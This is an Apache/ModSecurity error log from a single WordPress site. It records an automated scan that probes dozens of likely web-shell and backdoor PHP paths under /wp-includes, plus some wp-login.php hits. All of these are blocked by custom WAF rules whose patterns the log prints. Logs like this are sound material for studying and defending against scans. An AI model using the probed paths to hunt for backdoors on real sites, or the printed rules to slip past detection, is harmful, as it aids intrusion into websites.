[Mon Nov 24 09:32:36.974010 2025] [:error] [pid 48688:tid 48692] [client 140.99.1.78:51065] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aSO1tBm2q1FkzLam7A1CgAAAAkA"]
[Mon Nov 24 09:32:37.361185 2025] [:error] [pid 48599:tid 48605] [client 140.99.1.13:20379] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aSO1tZzvu6PDJiRKE3LPhAAAAYI"]
[Mon Nov 24 09:32:39.880689 2025] [:error] [pid 49900:tid 49922] [client 140.99.1.20:56907] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aSO1tzCyPLrvg06aormbTAAAABQ"]
[Mon Nov 24 09:32:40.122829 2025] [:error] [pid 48688:tid 48704] [client 140.99.1.48:61757] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aSO1uBm2q1FkzLam7A1CggAAAkw"]
[Mon Nov 24 09:32:40.764805 2025] [:error] [pid 49900:tid 49918] [client 140.99.1.18:39385] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aSO1uDCyPLrvg06aormbUQAAABA"]
[Mon Nov 24 09:32:40.987938 2025] [:error] [pid 48599:tid 48620] [client 140.99.1.47:44161] [client 140.99.1.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aSO1uJzvu6PDJiRKE3LPigAAAZE"]
[Mon Nov 24 09:32:41.413944 2025] [:error] [pid 48600:tid 48648] [client 140.99.1.38:36013] [client 140.99.1.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aSO1uftOzSUAQvWVjBcxUAAAAdI"]
[Mon Nov 24 09:32:41.641686 2025] [:error] [pid 48601:tid 48664] [client 140.99.1.69:26733] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aSO1uYMM4MaVTk74-AZQSwAAAgc"]
[Mon Nov 24 09:32:41.834970 2025] [:error] [pid 48688:tid 48695] [client 140.99.1.18:57283] [client 140.99.1.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.18, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aSO1uRm2q1FkzLam7A1ChQAAAkM"]
[Mon Nov 24 09:32:41.840417 2025] [proxy_fcgi:error] [pid 48688:tid 48695] [client 140.99.1.18:57283] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:32:41.997845 2025] [:error] [pid 48688:tid 48715] [client 140.99.1.18:57283] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aSO1uRm2q1FkzLam7A1ChgAAAlc"]
[Mon Nov 24 09:32:42.549126 2025] [:error] [pid 48601:tid 48676] [client 140.99.1.42:40893] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSO1uoMM4MaVTk74-AZQTwAAAhM"]
[Mon Nov 24 09:32:42.761564 2025] [:error] [pid 48601:tid 48681] [client 140.99.1.38:32801] [client 140.99.1.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSO1uoMM4MaVTk74-AZQUAAAAhg"]
[Mon Nov 24 09:32:43.802023 2025] [:error] [pid 49900:tid 49915] [client 140.99.1.30:57827] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aSO1uzCyPLrvg06aormbYwAAAA0"]
[Mon Nov 24 09:32:44.009935 2025] [:error] [pid 48601:tid 48657] [client 140.99.1.8:30449] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aSO1vIMM4MaVTk74-AZQUgAAAgA"]
[Mon Nov 24 09:32:44.435281 2025] [:error] [pid 48688:tid 48701] [client 140.99.1.70:33785] [client 140.99.1.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aSO1vBm2q1FkzLam7A1CiQAAAkk"]
[Mon Nov 24 09:32:44.626221 2025] [:error] [pid 49900:tid 49919] [client 140.99.1.65:55939] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aSO1vDCyPLrvg06aormbZwAAABE"]
[Mon Nov 24 09:32:44.858936 2025] [proxy_fcgi:error] [pid 48600:tid 48640] [client 140.99.1.31:31973] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:32:44.960889 2025] [:error] [pid 48600:tid 48651] [client 140.99.1.31:31973] [client 140.99.1.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.31, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSO1vPtOzSUAQvWVjBcxVAAAAdU"]
[Mon Nov 24 09:32:45.164931 2025] [:error] [pid 48600:tid 48643] [client 140.99.1.31:31973] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aSO1vftOzSUAQvWVjBcxVwAAAc0"]
[Mon Nov 24 09:32:45.823226 2025] [:error] [pid 49900:tid 49918] [client 140.99.1.33:24931] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aSO1vTCyPLrvg06aormbcQAAABA"]
[Mon Nov 24 09:32:46.178249 2025] [:error] [pid 48601:tid 48674] [client 140.99.1.44:22707] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aSO1voMM4MaVTk74-AZQVgAAAhE"]
[Mon Nov 24 09:32:46.374501 2025] [:error] [pid 48601:tid 48669] [client 140.99.1.6:36929] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aSO1voMM4MaVTk74-AZQVwAAAgw"]
[Mon Nov 24 09:32:46.910627 2025] [:error] [pid 48599:tid 48625] [client 140.99.1.33:34667] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aSO1vpzvu6PDJiRKE3LPmwAAAZY"]
[Mon Nov 24 09:32:47.393324 2025] [:error] [pid 48688:tid 48703] [client 140.99.1.69:23859] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSO1vxm2q1FkzLam7A1CjwAAAks"]
[Mon Nov 24 09:32:48.155758 2025] [:error] [pid 49900:tid 49915] [client 140.99.1.14:21215] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aSO1wDCyPLrvg06aormbfgAAAA0"]
[Mon Nov 24 09:32:48.381966 2025] [:error] [pid 48601:tid 48663] [client 140.99.1.3:29823] [client 140.99.1.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aSO1wIMM4MaVTk74-AZQWAAAAgY"]
[Mon Nov 24 09:32:48.690688 2025] [:error] [pid 48600:tid 48635] [client 140.99.1.31:31245] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "aSO1wPtOzSUAQvWVjBcxWgAAAcU"]
[Mon Nov 24 09:32:49.505764 2025] [:error] [pid 48688:tid 48698] [client 140.99.1.32:53969] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSO1wRm2q1FkzLam7A1CnQAAAkY"]
[Mon Nov 24 09:32:49.922632 2025] [:error] [pid 48599:tid 48618] [client 140.99.1.62:53159] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "aSO1wZzvu6PDJiRKE3LPpQAAAY8"]
[Mon Nov 24 09:32:50.016313 2025] [:error] [pid 48599:tid 48612] [client 140.99.1.62:53159] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aSO1wpzvu6PDJiRKE3LPpgAAAYk"]
[Mon Nov 24 09:32:50.419923 2025] [:error] [pid 48601:tid 48675] [client 140.99.1.48:58623] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aSO1woMM4MaVTk74-AZQYAAAAhI"]
[Mon Nov 24 09:32:50.609017 2025] [:error] [pid 48688:tid 48703] [client 140.99.1.50:40925] [client 140.99.1.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aSO1whm2q1FkzLam7A1CnwAAAks"]
[Mon Nov 24 09:32:51.501802 2025] [:error] [pid 48600:tid 48631] [client 140.99.1.30:40657] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aSO1w_tOzSUAQvWVjBcxYgAAAcE"]
[Mon Nov 24 09:32:51.899400 2025] [:error] [pid 49900:tid 49904] [client 140.99.1.39:49003] [client 140.99.1.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aSO1wzCyPLrvg06aormbggAAAAI"]
[Mon Nov 24 09:32:52.196963 2025] [:error] [pid 48599:tid 48608] [client 140.99.1.76:21655] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aSO1xJzvu6PDJiRKE3LPrAAAAYU"]
[Mon Nov 24 09:32:53.022094 2025] [:error] [pid 48601:tid 48678] [client 140.99.1.17:23043] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aSO1xYMM4MaVTk74-AZQbQAAAhU"]
[Mon Nov 24 09:32:53.417033 2025] [:error] [pid 49900:tid 49926] [client 140.99.1.77:49163] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aSO1xTCyPLrvg06aormbhQAAABg"]
[Mon Nov 24 09:32:53.750892 2025] [:error] [pid 49900:tid 49917] [client 140.99.1.48:36645] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aSO1xTCyPLrvg06aormbiAAAAA8"]
[Mon Nov 24 09:32:53.951167 2025] [:error] [pid 48599:tid 48619] [client 140.99.1.26:33729] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aSO1xZzvu6PDJiRKE3LPsAAAAZA"]
[Mon Nov 24 09:32:54.373742 2025] [:error] [pid 48600:tid 48647] [client 140.99.1.17:23405] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aSO1xvtOzSUAQvWVjBcxZwAAAdE"]
[Mon Nov 24 09:32:55.102706 2025] [:error] [pid 48600:tid 48635] [client 140.99.1.24:59493] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aSO1x_tOzSUAQvWVjBcxbAAAAcU"]
[Mon Nov 24 09:32:55.304166 2025] [:error] [pid 48599:tid 48618] [client 140.99.1.3:26531] [client 140.99.1.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aSO1x5zvu6PDJiRKE3LPswAAAY8"]
[Mon Nov 24 09:32:56.150091 2025] [:error] [pid 48688:tid 48715] [client 140.99.1.62:40397] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aSO1yBm2q1FkzLam7A1CrwAAAlc"]
[Mon Nov 24 09:32:56.595614 2025] [:error] [pid 48599:tid 48625] [client 140.99.1.16:63095] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aSO1yJzvu6PDJiRKE3LPuQAAAZY"]
[Mon Nov 24 09:32:57.210068 2025] [:error] [pid 48688:tid 48716] [client 140.99.1.27:24439] [client 140.99.1.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aSO1yRm2q1FkzLam7A1CtgAAAlg"]
[Mon Nov 24 09:32:57.449874 2025] [:error] [pid 49900:tid 49916] [client 140.99.1.8:27131] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aSO1yTCyPLrvg06aormbiwAAAA4"]
[Mon Nov 24 09:32:57.769862 2025] [:error] [pid 48688:tid 48704] [client 140.99.1.71:30947] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aSO1yRm2q1FkzLam7A1CuQAAAkw"]
[Mon Nov 24 09:32:58.175653 2025] [:error] [pid 48599:tid 48619] [client 140.99.1.62:26419] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aSO1ypzvu6PDJiRKE3LPvQAAAZA"]
[Mon Nov 24 09:32:58.624935 2025] [:error] [pid 48600:tid 48632] [client 140.99.1.24:37617] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aSO1yvtOzSUAQvWVjBcxcgAAAcI"]
[Mon Nov 24 09:32:58.863925 2025] [:error] [pid 48599:tid 48613] [client 140.99.1.13:53979] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aSO1ypzvu6PDJiRKE3LPvwAAAYo"]
[Mon Nov 24 09:32:59.171165 2025] [:error] [pid 49900:tid 49924] [client 140.99.1.43:25317] [client 140.99.1.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSO1yzCyPLrvg06aormbjgAAABY"]
[Mon Nov 24 09:32:59.367651 2025] [:error] [pid 48601:tid 48671] [client 140.99.1.37:55637] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aSO1y4MM4MaVTk74-AZQfAAAAg4"]
